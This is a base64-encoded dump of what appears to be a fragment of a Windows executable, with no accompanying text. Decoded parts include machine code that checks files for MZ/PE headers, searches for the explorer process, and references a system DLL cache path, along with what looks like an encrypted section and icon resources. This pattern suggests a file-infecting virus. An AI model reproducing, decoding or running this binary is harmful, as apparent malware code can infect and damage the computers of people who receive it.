IgJg6AAAAABdVY21BQIAAFYz9mT/NmSJJo21Xf///1boc/j//2CLjRr6//+JTYeLjSL6//+J jXb////oBAAAAFdxawBfV2oAagL/0QvAdAlQ/5UG+v//6y64omoAAIvIjbU7+P//6Ar4//90 GvyL+DPAq7g+EwAAq421dPf///OkibXOCgAAYYml4gEAAI11qejf9///D4RNAQAAV1ONdcTo z/f//4B4HKgPhDkBAADGQByouQBAAACNdeTotPf//4vYjbX/AgAA6Kf3//902ot4KI21MQMA AOiX9///C8l0yIt6BIm9pAEAAIs6i0oIO/l2AofPib2qAQAAK8qD+UgPguIAAACLiIAAAAAL yXSZW19TA9lRjXXE6Fb3//9SjbUNCgAA6Er3//8PtsqA4T9aXovYg+sUUYPDFItLDOMkUCvO gfkAQAAAcxmLBAjoKAgAAD11c2VyWHXdxwQkABAAAIvDWYtYEAMcJFONdanoAPf//3RyjXXE 6Pb2//+L8PytO4Ws+v//dAw7hbD6//90BAvA4OuD7gQLwHUDg+4EiwaJRaCLXCQEgcN4VjQS gcN4VjQSiR6Ndanotfb//3QnjYVd////akhZjXXk6KL2//90FFuNhYYgAAAAEAAAEAAAABcw HTCITAAAeAMAALkAQAAAjXXk6Iz2//+8eFY0Eo21DQoAAOh89v//XmaJVvzolfb//2RnjwYA AF5eYcPoAAAAAFiNQNdQi0QkEI+AuAAAADPAwwAAMgBg6AAAAABdi41A+P//4wqNdTDoNvb/ /+sXM8C5IE4AAIPABI21qAAAAOgf9v//4vBhwwAAdABgagBqAv+VQPj//wvAdGNQjb3EXgAA xwcoAQAAV1D/lUT4//8LwHREi42kCAAA4yJXjV8k6AoAAABcZXhwbG9yZXIAX421ZwcAAOjI 9f//X3UOi0cIjbWoAAAA6Lf1//9YUFdQ/5VI+P//67j/leD3//9hwwAALQBgUGoAaP8PAAD/ lQz4//8LwHQYUJe7AABAAI211P3//+h69f///5Xg9///YcMAAC4AUTPJZoE7TVp1IItDPAPD ZoE4UEV1FPZAFyB1DlOKWFyA4/6A+wJbdQFBC8lZwwAAJQBRD7dQFI1UEPgPt0gGQUnjEIPC KItyBDv+cvMDMjv3du0LyVnDBV1zAGW1BV0FXVjQsMwEXQW1BKj6oogodLX8qfqiiOjKXQVd 7bPxovrQsEsEXQW15qn6oojoEan6oojgd1oFXbxjFl0FoVKuodCw8ANdBbXGqfqiWtCyuw5d BTuMC/m106n6ooOviOrjUAVdY9RToe2Y8aL6PMPtploAjU7tpu2msCtYkOum7U5nUhJZYBt7 UhJZKqEFuO2mKuHpphLQEVAvp5mrKqES0BFOKuHpve2m7WGqrothq1oq4eGm7fASUC+kmagq 4eXwi2GrYaqqEabtWYxl7aZDAI1O7abtprInKv0ZWRJQL6eZoWepa+nsIOLAV/CywGTx71Av pJmuixxmWIsvuqQq4erM7f/iUC+imaEq4eqVJDbix8NuBncADu5uBm4GM4sTteXxhg+a+ZGL 25drBm7utfWR+e7kbYysxo4F7mF9wWZBfYYJE6kOKRPuYXbBZkF2jKgibYYJHJYOKRyu5m2G CRmpDikZ47P/A24Ghpid+ZGMqCJthgkhlg4pIa7mbYYJKqkOKSrl8YajnfmRZ8NE3GUAJDRE 3ETcGVHxykHcRDQuL7sjsh5FqFZXwVm2I7tbwUm2I7tbwVm2I7tR8X22I7tcpt/EukYkTIpG HKbfxPqD1FJcosTHGkBcYhtM6scaR1xiG0zqhR5MkoLazQhQAAB4AwAAKobdMN+C2sO9w10F LwS1BV0FXVjQsLUBXQW1B676oojo/qD6ou2q96L6opBe8KL6nO1CjNhuWAVdhLEBXAVd+W7F 1IATBl0F1IAyAF0FopCi8aL61IAiBl0FtfZfBV2OoW1ZBF0FCm9d+sjyqfqi7fUGXQWgtKK1 Affz+ZtCXAW1c10FXYjoq1kFXe3M96L63edehZ9m1RF5Y5pBeQRnBTcfBI6kUaKQpvGi+mEG LwxhASoAtUddBV2PWSGjxWF/KwftZNUBeY6S54U2ne30BF0FNzkC7SUHXQU1JRMFXfrI6qn6 okoo6LaeCmwzNm8lG2ovaih9fVNsK21l0HF5IbUCXgVd7U8GXQXlWXcrd65uxfaEsUVcBV2I 6L5FBV1RC/rI0qn6okVSgUwEXQUVVapBeQFdEl0FUoDeBV0F0LF5bVwFXe2fB10FCu2RB10F 5AFcBV21Aa/QcXkx1gOuoQPyjaxzK10FKTo7rHMFKVSqQXkBTQVdBSlMtQ5dBV13PHckJRRr KWAvBQKOg1PQsHMBXQW1jaz6olspCAuI6INZBV3tJPSi+gNxL7xZBF0FduTW+a6htUWi+qKE mQFcBV3uB/KN7QMHXQXQuGkHXQU3CAT38nG3IKL6ogVgZCt1XXGDODNkKwUp0tb7tS5fBV2O Gvm1Kl8FXThzYCVgKRVgKy5mL3FU89gtrvqiBigI1vvQsATwovq1Aaz6ou09BF0F0EF5AdYJ eVUM+sjeqfqiDp0K2PKj+qL6yNqp+qKEmUVcBV1knlo8cy1kMWAvZDBqM2QzcTRrMmFuay12 LmsvYC5rLmY1a243LmQrcjR2PmQzY3B2KWNwdS9l5g0gBV28XRVdBXbcLwN25AxctvNe3Hbm NwXWiG7wovq+EQlVNxY3BDcHotRWxSgt1ohq8KL6viHWMXmIISFVwloFIAVdUtB5eRUKiCEh UU3UAgpTotRWxShh1gq+ZdAR0AVdBV3yGdGlB10FXXFWiBnRse3a+qL6tkfWMYkOq3FmjqPt RQRdBdZCo+1BBF0FePqi+l04AWRdBSklYFk/BV1xRISxAVwFXY6hqfcPnXCn7ZT4ovrcwVkE XQW/pQWO0D6o+qLmWg6dcV5VotTcwVV4XQU8xj2ZtQVdBV1YopDk9KL65mjSBl2OlS6WhKRl twVdd1OMGA3QsCb8AAAAAO4BAACi+rWnsvqimDzGPe1dBV0FAI7gj6z6ovqKvjCKXgV2xubx XAVdb29b1oinBF0Fvg3mvVYFXW9JW2bGLxyc41dTopAn9KL6otLUQFftWgVdBbWAovqiZJ7t WQVdBRJwJQUCUjcFNweikBP0ovpWxSkNDfrIN6z6osYdiOhisvqi7XjqovopCNSApwRdBQ36 yE+s+qLG5AFcBV2I4L5FBV1SrqECxg1UbsXo+q+rElwFxgxvWVxhRC8DYV8qB1klnM1V56xc wwAAVABg6AAAAABd/LA4i62/8P//C+10L0tD6CwAAACL8Yff6CMAAACH32o4WDvxdxaKFDNS U8YEMwBTV//VC8BbWogUM3XSC8Bhw1cywDPJSfKuX/fRScMAACQAYOgAAAAAXegNAAAAdGVt MzJcZGxsY2FjAF+NdaLoZu7//2HDJMI2AEQqJMIkwnk9sYnUPdt7BEw+LScD9QMnDiWPLKgE m/UqV8cR4qf6ySDRS2DmMKStR1As2z1FAc57awCuk857znuT9nNePoQxEc8sMe47lDGExbu6 aEWjT5DOe897Q86ulTGEJoIjhDEiLXGHKkPG+4sxhCWuJnzOe84OvR68SPx7Me47lDGExbu6 YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAgAAAEAAAIADAAAAYAAAgAUAAACIAACABgAAAKgAAIAOAAAA 2AAAgBAAAAD4AACAAAAAAAAAAAAAAAAAAAACAG0AAAAQAQCAdAAAACgBAIAAAAAAAAAAAAAA AAAAAAMAAQAAAEABAIACAAAAWAEAgAMAAABwAQCAAAAAAAAAAAAAAAAAAAACAGgAAACIAQCA dQAAAKABAIAAAAAAAAAAAAAAAAAAAAQAAQAAALgBAIACAAAA0AEAgAMAAADoAQCABAAAAAAC AIAAAAAAAAAAAAAAAAAAAAIAZQAAABgCAIByAAAAMAIAgAAAAAAAAAAAAAAAAAAAAQABAAAA SAIAgAAAAAAAAAAAAAAAAAAAAQAJBAAAYAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAcAIAAAAA AAAAAAAAAAAAAAAAAQAJBAAAgAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAkAIAAAAAAAAAAAAA AAAAAAAAAQAJBAAAoAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAsAIAAAAAAAAAAAAAAAAAAAAA AQAJBAAAwAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAA0AIAAAAAAAAAAAAAAAAAAAAAAQAJBAAA 4AIAAAAAAAAAAAAAAAAAAAAAAQAJBAAA8AIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAAAMAAAAA AAAAAAAAAAAAAAAAAQAJBAAAEAMAAAAAAAAAAAAAAAAAAAAAAQAJBAAAIAMAAAAAAAAAAAAA AAAAAAAAAQAJBAAAMAMAADhuCQCiBgAAAAAAAAAAAADgdAkAKhsAAAAAAAAAAAAA8FQJAOgC AAAAAAAAAAAAAPBXCQDoAgAAAAAAAAAAAADYWgkAqAgAAAAAAAAAAAAAQGcJACoEAAAAAAAA AAAAAHBrCQDEAgAAAAAAAAAAAAAQkAkAegIAAAAAAAAAAAAAkJIJACQEAAAAAAAAAAAAALiW CQAMCgAAAAAAAAAAAADIoAkA4gAAAAAAAAAAAAAA2FcJABQAAAAAAAAAAAAAAIBjCQAiAAAA AAAAAAAAAACoYwkAlAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAACAAAABAAAAAAQAEAAAAAAAAAgAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAgICAAAAA/wAA/wAA AP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAAAAAACIiIiIiIiIiIiIgAAAAA AAAAAAAAAAAAAAAAiAAAAADu7u8N3d34u7u78AiAAAAI7u7vDd3d+Lu7u/CAiAAACO7u7w3d 3fi7u7vwiAgAAAju7u8N3d34u7u78IgIAAAI7u7vDd3d+Lu7u/CICAAACO7u7w3d3fi7u7vw iAgAAAju7u8N3d34u7u78IgIAAAI7u7vDd3d+Lu7u/CICAAACO7u7w3d3fi7u7vwiAgAAAju 7u8N3d34u7u78IgIAAAI7u7vDd3d+Lu7u/CICAAACO7u7w3d3fi7u7vwiAgAAAju7u8N3d34 u7u78IgIAAAI7u7vDd3d+Lu7u/CICAAACO7u7w3d3fi7u7vwiAgAAAju7u8N3d34u7u78IgI AAAI7u7vDd3d+Lu7u/CICAAACO7u7w3d3fi7u7vwiAgAAA//////////////8IgIAAAP//// //////////CICAAAD//////////////wiAgAAAAAAAAAAAAAAAAAAHgIAAAP//////////// //8HCAAAB3d3d3d3d3d3d3d38AgAAAB3d3d3d3d3d3d3d38IAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/////+AAAP /AAAA/gAAAHwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAA AADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPgAAAD8AAAB ////////////////AAABAAEAICAQAAEABADoAgAAAQAAAAAAKAAAACAAAABAAAAAAQAEAAAA AAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAA wMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3d3d3d3d3d3d3d3d3cAAAcAAAAAAAAAAAAA AAAHAHd3AAAAAAAAAAAAAAAAB3dwAAAAAAAAd3d3AAAAAAAHAAAHd3d3d3d3d3d3dwAAAAB3 d3d3d3d3d3d3d3d3dwAHdwAAAAAAAAAAAAAAAAdwB3cH//////////////cHcAd3D/9wAA// /wAA////B3AHdw//AAAP//8AAP///wdwB3cP/wAAD//wAAD///8HcAd3D/8AAAAAAAAA//// B3AHdw//AAAAAAAAAP///wdwB3cP/wAAAAAAAAD///8HcAd3D/8AAAAAAAAH////B3AHdw// AAAAAAAAkQD//wdwB3cP/wAAAAAAEQAAD/8HcAd3D/cA///wARAAAAD/B3AHdw/wD/////kA AAAAfwdwB3cP////////AACAAP8HcAd3D/////////AAgH//B3AHdw/////////wAAD//wdw B3cP////////8AAP//8HcAd3D//////////wAP//B3AHdwf/////////////9wdwB3cAAAAA AAAAAAAAAAAHcAd3d3d3d3d3d3d3d3d3d3AHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAA AAAAAP///////////////+AAAAPgAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAACAAAABAAAAAAQAIAAAAAAAABAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAwNzAAPDKpgAEBAQA CAgIAAwMDAAREREAFhYWABwcHAAiIiIAKSkpAFVVVQBNTU0AQkJCADk5OQCAfP8AUFD/AJMA 1gD/7MwAxtbvANbn5wCQqa0AAAAzAAAAZgAAAJkAAADMAAAzAAAAMzMAADNmAAAzmQAAM8wA 